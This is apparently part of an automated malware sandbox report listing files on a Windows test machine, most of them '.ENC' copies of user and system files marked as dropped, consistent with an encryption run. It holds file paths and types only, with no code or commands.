C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule70037v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700400v2.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700401v2.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700450v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700451v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700500v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700501v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700550v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700551v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700600v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700601v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700650v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700651v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700700v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700701v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700750v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700751v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700850v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700851v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700900v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700901v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700950v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700951v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701050v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701051v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701100v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701101v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701150v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701151v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701200v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701201v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701250v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701251v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701300v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701301v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701350v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701351v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701400v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701401v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701500v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701501v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701550v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701551v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701650v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701651v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701700v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701701v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701750v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701751v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701800v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701801v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701850v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701851v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701900v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701901v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701950v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701951v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702000v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702001v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702050v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702051v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702100v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702101v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702150v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702151v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702200v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702201v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702250v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702251v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702300v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702301v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702350v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702351v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702400v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702401v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702450v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702451v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702500v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702501v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702550v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702551v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702600v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702601v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702650v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702651v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702700v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702701v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702750v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702751v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702800v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702801v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702850v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703101v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703150v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703151v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703200v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703201v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703250v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703251v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703300v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703301v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703350v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703351v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703400v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703401v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703450v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703451v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703500v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703501v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703550v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703551v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703600v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703601v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703650v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703651v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703700v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703701v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703750v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703751v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703800v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703801v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703850v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703851v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703900v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703901v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703950v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703951v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704000v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704001v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704050v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704051v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704100v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704101v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704150v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704151v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704200v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704201v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule90401v3.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\DeviceHealthSummaryConfiguration.ini.ENC
PGP Secret Sub-key -
dropped
C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-05.0741.4416.1.aodl.ENC
COM executable for DOS
dropped
C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-05.0741.4416.1.odl.ENC
COM executable for DOS
dropped
C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-05.0741.6944.1.odl.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-05_074102_1b20-118c.log.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-05_074135_4416-8684.log.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-05_075132_6008-6584.log.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-05.0750.6324.1.aodl.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-05.0750.6324.1.odl.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-05_074114_1004-7e4.log.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-05_074148_8752-8608.log.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-05_075033_7632-7636.log.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-05_075125_4700-4672.log.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\machineTelemetryCache.otc.session.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\parentTelemetryCache.otc.session.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\userTelemetryCache.otc.session.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\WindowsApps\python.exe.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\WindowsApps\python3.7.exe.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\WindowsApps\python3.exe.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db.ENC
Non-ISO extended-ASCII text, with CR line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide.db.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1280.db.ENC
Non-ISO extended-ASCII text, with CR line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1920.db.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_2560.db.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_768.db.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_exif.db.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide.db.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012023100520231006\container.dat.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\History\History.IE5\container.dat.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\Rdr[1].txt.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\Rdr[1].txt.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\ESE\container.dat.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\WPNPRMRY.tmp.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db-shm.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db-wal.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
data
modified
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Safety\edge\local\local\cache.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Safety\edge\remote\script.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Safety\edge\remote\synchronousLookupUris.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Safety\edge\remote\topTraffic.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\Safety\shell\remote\script.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\UsrClass.dat.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG1.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG2.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\WebCacheLock.dat.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.jfm.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\WinX\Group1\1 - Desktop.lnk.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\WinX\Group1\desktop.ini.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\WinX\Group2\1 - Run.lnk.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\WinX\Group2\2 - Search.lnk.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\WinX\Group2\4 - Control Panel.lnk.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\WinX\Group2\5 - Task Manager.lnk.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\WinX\Group2\desktop.ini.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\WinX\Group3\01a - Windows PowerShell.lnk.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\WinX\Group3\02a - Windows PowerShell.lnk.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\WinX\Group3\03 - Computer Management.lnk.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\WinX\Group3\06 - SystemAbout.lnk.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\WinX\Group3\07 - Event Viewer.lnk.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\WinX\Group3\08 - PowerAndSleep.lnk.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Windows\WinX\Group3\desktop.ini.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.ECApp_8wekyb3d8bbwe\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.ECApp_8wekyb3d8bbwe\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.Getstarted_8wekyb3d8bbwe\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.Getstarted_8wekyb3d8bbwe\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.LockApp_cw5n1h2txyewy\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.LockApp_cw5n1h2txyewy\Settings\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.MSPaint_8wekyb3d8bbwe\Settings\roaming.lock.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Packages\Microsoft.MSPaint_8wekyb3d8bbwe\Settings\settings.dat.ENC
data
dropped
